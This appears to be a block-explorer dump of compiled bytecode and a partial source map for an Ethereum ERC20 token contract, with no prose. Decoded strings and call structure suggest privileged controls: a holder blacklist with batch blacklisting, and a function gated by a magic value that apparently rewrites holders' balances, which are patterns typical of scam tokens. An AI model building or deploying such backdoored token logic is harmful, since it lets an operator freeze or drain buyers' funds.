fffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e679594939291906126f7565b600060405180830381600087803b158015611e8157600080fd5b505af1925050508015611e92575060015b611e9b57611e9c565b5b60004790506000811115611f1457600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f12573d6000803e3d6000fd5b505b50506000600d60146101000a81548160ff02191690831515021790555050565b600080831415611f475760009050611fa9565b60008284611f559190612848565b9050828482611f649190612817565b14611fa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9b9061265c565b60405180910390fd5b809150505b92915050565b6000611ff183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ff9565b905092915050565b60008083118290612040576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203791906125ba565b60405180910390fd5b506000838561204f9190612817565b9050809150509392505050565b60008135905061206b81612d4e565b92915050565b60008151905061208081612d4e565b92915050565b60008083601f84011261209c5761209b612b23565b5b8235905067ffffffffffffffff8111156120b9576120b8612b1e565b5b6020830191508360208202830111156120d5576120d4612b28565b5b9250929050565b6000813590506120eb81612d65565b92915050565b60008135905061210081612d7c565b92915050565b60006020828403121561211c5761211b612b32565b5b600061212a8482850161205c565b91505092915050565b60006020828403121561214957612148612b32565b5b600061215784828501612071565b91505092915050565b6000806040838503121561217757612176612b32565b5b60006121858582860161205c565b92505060206121968582860161205c565b9150509250929050565b6000806000606084860312156121b9576121b8612b32565b5b60006121c78682870161205c565b93505060206121d88682870161205c565b92505060406121e9868287016120f1565b9150509250925092565b6000806040838503121561220a57612209612b32565b5b60006122188582860161205c565b9250506020612229858286016120f1565b9150509250929050565b60008060006060848603121561224c5761224b612b32565b5b600061225a8682870161205c565b935050602061226b868287016120f1565b925050604061227c8682870161205c565b9150509250925092565b60008060006040848603121561229f5761229e612b32565b5b600084013567ffffffffffffffff8111156122bd576122bc612b2d565b5b6122c986828701612086565b935093505060206122dc868287016120dc565b9150509250925092565b60006122f2838361230d565b60208301905092915050565b612307816128e8565b82525050565b612316816128d6565b82525050565b612325816128d6565b82525050565b60006123368261277c565b612340818561279f565b935061234b8361276c565b8060005b8381101561237c57815161236388826122e6565b975061236e83612792565b92505060018101905061234f565b5085935050505092915050565b612392816128fa565b82525050565b6123a18161293d565b82525050565b6123b08161294f565b82525050565b60006123c182612787565b6123cb81856127b0565b93506123db818560208601612985565b6123e481612b37565b840191505092915050565b60006123fc6023836127b0565b915061240782612b48565b604082019050919050565b600061241f6012836127b0565b915061242a82612b97565b602082019050919050565b60006124426022836127b0565b915061244d82612bc0565b604082019050919050565b6000612465601b836127b0565b915061247082612c0f565b602082019050919050565b60006124886021836127b0565b915061249382612c38565b604082019050919050565b60006124ab6020836127b0565b91506124b682612c87565b602082019050919050565b60006124ce6025836127b0565b91506124d982612cb0565b604082019050919050565b60006124f16024836127b0565b91506124fc82612cff565b604082019050919050565b61251081612926565b82525050565b61251f81612930565b82525050565b600060208201905061253a600083018461231c565b92915050565b600060208201905061255560008301846122fe565b92915050565b6000604082019050612570600083018561231c565b61257d602083018461231c565b9392505050565b60006020820190506125996000830184612389565b92915050565b60006020820190506125b46000830184612398565b92915050565b600060208201905081810360008301526125d481846123b6565b905092915050565b600060208201905081810360008301526125f5816123ef565b9050919050565b6000602082019050818103600083015261261581612412565b9050919050565b6000602082019050818103600083015261263581612435565b9050919050565b6000602082019050818103600083015261265581612458565b9050919050565b600060208201905081810360008301526126758161247b565b9050919050565b600060208201905081810360008301526126958161249e565b9050919050565b600060208201905081810360008301526126b5816124c1565b9050919050565b600060208201905081810360008301526126d5816124e4565b9050919050565b60006020820190506126f16000830184612507565b92915050565b600060a08201905061270c6000830188612507565b61271960208301876123a7565b818103604083015261272b818661232b565b905061273a606083018561231c565b6127476080830184612507565b9695505050505050565b60006020820190506127666000830184612516565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006127cc82612926565b91506127d783612926565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561280c5761280b612a33565b5b828201905092915050565b600061282282612926565b915061282d83612926565b92508261283d5761283c612a62565b5b828204905092915050565b600061285382612926565b915061285e83612926565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561289757612896612a33565b5b828202905092915050565b60006128ad82612926565b91506128b883612926565b9250828210156128cb576128ca612a33565b5b828203905092915050565b60006128e182612906565b9050919050565b60006128f382612906565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061294882612961565b9050919050565b600061295a82612926565b9050919050565b600061296c82612973565b9050919050565b600061297e82612906565b9050919050565b60005b838110156129a3578082015181840152602081019050612988565b838111156129b2576000848401525b50505050565b600060028204905060018216806129d057607f821691505b602082108114156129e4576129e3612a91565b5b50919050565b60006129f582612926565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a2857612a27612a33565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20626c61636b4c69737465640000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612d57816128d6565b8114612d6257600080fd5b50565b612d6e816128fa565b8114612d7957600080fd5b50565b612d8581612926565b8114612d9057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122005455c6bf90b96515b11f40ccddefae8c868f5d59aac0464d76c7bb7e27e7d8864736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101445760003560e01c8063683e865c116100b6578063c5d241891161006f578063c5d2418914610491578063c816841b146104bc578063c8607952146104e7578063d27b1f9414610512578063dd62ed3e1461053b578063f2fde38b146105785761014b565b8063683e865c1461038157806370a08231146103985780638da5cb5b146103d557806395d89b41146104005780639a66989c1461042b578063a9059cbb146104545761014b565b80631d231b2c116101085780631d231b2c1461023757806323b872dd14610274578063313ce567146102b15780633345611e146102dc5780633ecad271146103195780636560784a146103565761014b565b806306fdde0314610150578063095ea7b31461017b5780630e56e608146101b85780631694505e146101e157806318160ddd1461020c5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b506101656105a1565b60405161017291906125ba565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d91906121f3565b610633565b6040516101af9190612584565b60405180910390f35b3480156101c457600080fd5b506101df60048036038101906101da9190612233565b610651565b005b3480156101ed57600080fd5b506101f661069b565b604051610203919061259f565b60405180910390f35b34801561021857600080fd5b506102216106c1565b60405161022e91906126dc565b60405180910390f35b34801561024357600080fd5b5061025e60048036038101906102599190612106565b6106cb565b60405161026b9190612584565b60405180910390f35b34801561028057600080fd5b5061029b600480360381019061029691906121a0565b6106eb565b6040516102a89190612584565b60405180910390f35b3480156102bd57600080fd5b506102c66107c5565b6040516102d39190612751565b60405180910390f35b3480156102e857600080fd5b5061030360048036038101906102fe9190612106565b6107dc565b6040516103109190612584565b60405180910390f35b34801561032557600080fd5b50610340600480360381019061033b9190612106565b6107fc565b60405161034d9190612584565b60405180910390f35b34801561036257600080fd5b5061036b61081c565b6040516103789190612540565b60405180910390f35b34801561038d57600080fd5b50610396610842565b005b3480156103a457600080fd5b506103bf60048036038101906103ba9190612106565b610c1a565b6040516103cc91906126dc565b60405180910390f35b3480156103e157600080fd5b506103ea610c63565b6040516103f79190612525565b60405180910390f35b34801561040c57600080fd5b50610415610c8c565b60405161042291906125ba565b60405180910390f35b34801561043757600080fd5b50610452600480360381019061044d9190612286565b610d1e565b005b34801561046057600080fd5b5061047b600480360381019061047691906121f3565b610df9565b6040516104889190612584565b60405180910390f35b34801561049d57600080fd5b506104a6610e18565b6040516104b391906126dc565b60405180910390f35b3480156104c857600080fd5b506104d1610e1e565b6040516104de9190612525565b60405180910390f35b3480156104f357600080fd5b506104fc610e44565b60405161050991906126dc565b60405180910390f35b34801561051e57600080fd5b50610539600480360381019061053491906121f3565b610e4a565b005b34801561054757600080fd5b50610562600480360381019061055d9190612160565b610f24565b60405161056f91906126dc565b60405180910390f35b34801561058457600080fd5b5061059f600480360381019061059a9190612106565b610fab565b005b6060600180546105b0906129b8565b80601f01602080910402602001604051908101604052809291908181526020018280546105dc906129b8565b80156106295780601f106105fe57610100808354040283529160200191610629565b820191906000526020600020905b81548152906001019060200180831161060c57829003601f168201915b5050505050905090565b60006106476106406110fd565b8484611105565b6001905092915050565b6103e88214801561068d57508273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b61069657600080fd5b505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b60086020528060005260406000206000915054906101000a900460ff1681565b60006106f88484846112d0565b506107ba846107056110fd565b6107b585604051806060016040528060288152602001612d9460289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061076b6110fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119519092919063ffffffff16565b611105565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61084a6110fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ce9061267c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561093657600080fd5b505afa15801561094a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096e9190612133565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109d057600080fd5b505afa1580156109e4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a089190612133565b6040518363ffffffff1660e01b8152600401610a2592919061255b565b602060405180830381600087803b158015610a3f57600080fd5b505af1158015610a53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a779190612133565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610c9b906129b8565b80601f0160208091040260200160405190810160405280929190818152602001828054610cc7906129b8565b8015610d145780601f10610ce957610100808354040283529160200191610d14565b820191906000526020600020905b815481529060010190602001808311610cf757829003601f168201915b5050505050905090565b610d54600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103e8610d4f6110fd565b610651565b60005b83839050811015610df3578160086000868685818110610d7a57610d79612ac0565b5b9050602002016020810190610d8f9190612106565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610deb906129ea565b915050610d57565b50505050565b6000610e0d610e066110fd565b84846112d0565b506001905092915050565b60095481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b610e79600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103e833610651565b610edd81610ecf600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846119b590919063ffffffff16565b6119ff90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fb36110fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611040576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110379061267c565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116c906126bc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111dc9061261c565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112c391906126dc565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611341576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113389061269c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a8906125dc565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561143e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611435906125fc565b60405180910390fd5b600d60149054906101000a900460ff16156114655761145e848484611a5d565b905061194a565b600061147030610c1a565b9050600d60149054906101000a900460ff161580156114d95750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114e8576114e781611c30565b5b61153a83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119b590919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116205750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561162d57839050611849565b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116b0576116a9606461169b60095488611f3490919063ffffffff16565b611faf90919063ffffffff16565b905061172e565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561172d5761172a606461171c600a5488611f3490919063ffffffff16565b611faf90919063ffffffff16565b90505b5b60008111156118325761178981600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ff90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161182991906126dc565b60405180910390a35b61184581866119b590919063ffffffff16565b9150505b61189b81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ff90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161193b91906126dc565b60405180910390a36001925050505b9392505050565b6000838311158290611999576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199091906125ba565b60405180910390fd5b50600083856119a891906128a2565b9050809150509392505050565b60006119f783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611951565b905092915050565b6000808284611a0e91906127c1565b905083811015611a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4a9061263c565b60405180910390fd5b8091505092915050565b6000611ae8826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119519092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b7d82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ff90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c1d91906126dc565b60405180910390a3600190509392505050565b6001600d60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c6857611c67612aef565b5b604051908082528060200260200182016040528015611c965781602001602082028036833780820191505090505b5090503081600081518110611cae57611cad612ac0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d5057600080fd5b505afa158015611d64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d889190612133565b81600181518110611d9c57611d9b612ac0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e0330600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611105565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e679594939291906126f7565b600060405180830381600087803b158015611e8157600080fd5b505af1925050508015611e92575060015b611e9b57611e9c565b5b60004790506000811115611f1457600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f12573d6000803e3d6000fd5b505b50506000600d60146101000a81548160ff02191690831515021790555050565b600080831415611f475760009050611fa9565b60008284611f559190612848565b9050828482611f649190612817565b14611fa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9b9061265c565b60405180910390fd5b809150505b92915050565b6000611ff183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ff9565b905092915050565b60008083118290612040576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203791906125ba565b60405180910390fd5b506000838561204f9190612817565b9050809150509392505050565b60008135905061206b81612d4e565b92915050565b60008151905061208081612d4e565b92915050565b60008083601f84011261209c5761209b612b23565b5b8235905067ffffffffffffffff8111156120b9576120b8612b1e565b5b6020830191508360208202830111156120d5576120d4612b28565b5b9250929050565b6000813590506120eb81612d65565b92915050565b60008135905061210081612d7c565b92915050565b60006020828403121561211c5761211b612b32565b5b600061212a8482850161205c565b91505092915050565b60006020828403121561214957612148612b32565b5b600061215784828501612071565b91505092915050565b6000806040838503121561217757612176612b32565b5b60006121858582860161205c565b92505060206121968582860161205c565b9150509250929050565b6000806000606084860312156121b9576121b8612b32565b5b60006121c78682870161205c565b93505060206121d88682870161205c565b92505060406121e9868287016120f1565b9150509250925092565b6000806040838503121561220a57612209612b32565b5b60006122188582860161205c565b9250506020612229858286016120f1565b9150509250929050565b60008060006060848603121561224c5761224b612b32565b5b600061225a8682870161205c565b935050602061226b868287016120f1565b925050604061227c8682870161205c565b9150509250925092565b60008060006040848603121561229f5761229e612b32565b5b600084013567ffffffffffffffff8111156122bd576122bc612b2d565b5b6122c986828701612086565b935093505060206122dc868287016120dc565b9150509250925092565b60006122f2838361230d565b60208301905092915050565b612307816128e8565b82525050565b612316816128d6565b82525050565b612325816128d6565b82525050565b60006123368261277c565b612340818561279f565b935061234b8361276c565b8060005b8381101561237c57815161236388826122e6565b975061236e83612792565b92505060018101905061234f565b5085935050505092915050565b612392816128fa565b82525050565b6123a18161293d565b82525050565b6123b08161294f565b82525050565b60006123c182612787565b6123cb81856127b0565b93506123db818560208601612985565b6123e481612b37565b840191505092915050565b60006123fc6023836127b0565b915061240782612b48565b604082019050919050565b600061241f6012836127b0565b915061242a82612b97565b602082019050919050565b60006124426022836127b0565b915061244d82612bc0565b604082019050919050565b6000612465601b836127b0565b915061247082612c0f565b602082019050919050565b60006124886021836127b0565b915061249382612c38565b604082019050919050565b60006124ab6020836127b0565b91506124b682612c87565b602082019050919050565b60006124ce6025836127b0565b91506124d982612cb0565b604082019050919050565b60006124f16024836127b0565b91506124fc82612cff565b604082019050919050565b61251081612926565b82525050565b61251f81612930565b82525050565b600060208201905061253a600083018461231c565b92915050565b600060208201905061255560008301846122fe565b92915050565b6000604082019050612570600083018561231c565b61257d602083018461231c565b9392505050565b60006020820190506125996000830184612389565b92915050565b60006020820190506125b46000830184612398565b92915050565b600060208201905081810360008301526125d481846123b6565b905092915050565b600060208201905081810360008301526125f5816123ef565b9050919050565b6000602082019050818103600083015261261581612412565b9050919050565b6000602082019050818103600083015261263581612435565b9050919050565b6000602082019050818103600083015261265581612458565b9050919050565b600060208201905081810360008301526126758161247b565b9050919050565b600060208201905081810360008301526126958161249e565b9050919050565b600060208201905081810360008301526126b5816124c1565b9050919050565b600060208201905081810360008301526126d5816124e4565b9050919050565b60006020820190506126f16000830184612507565b92915050565b600060a08201905061270c6000830188612507565b61271960208301876123a7565b818103604083015261272b818661232b565b905061273a606083018561231c565b6127476080830184612507565b9695505050505050565b60006020820190506127666000830184612516565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006127cc82612926565b91506127d783612926565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561280c5761280b612a33565b5b828201905092915050565b600061282282612926565b915061282d83612926565b92508261283d5761283c612a62565b5b828204905092915050565b600061285382612926565b915061285e83612926565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561289757612896612a33565b5b828202905092915050565b60006128ad82612926565b91506128b883612926565b9250828210156128cb576128ca612a33565b5b828203905092915050565b60006128e182612906565b9050919050565b60006128f382612906565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061294882612961565b9050919050565b600061295a82612926565b9050919050565b600061296c82612973565b9050919050565b600061297e82612906565b9050919050565b60005b838110156129a3578082015181840152602081019050612988565b838111156129b2576000848401525b50505050565b600060028204905060018216806129d057607f821691505b602082108114156129e4576129e3612a91565b5b50919050565b60006129f582612926565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a2857612a27612a33565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20626c61636b4c69737465640000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612d57816128d6565b8114612d6257600080fd5b50565b612d6e816128fa565b8114612d7957600080fd5b50565b612d8581612926565b8114612d9057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122005455c6bf90b96515b11f40ccddefae8c868f5d59aac0464d76c7bb7e27e7d8864736f6c63430008070033

Deployed Bytecode Sourcemap

3768:6497:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5485:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6572:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;97:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4448:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6017:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4241:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7296:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5926:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4132:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4189:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3975:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5007:470;;;;;;;;;;;;;:::i;:::-;;6125:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2903:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5576:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5671:247;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7121:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;::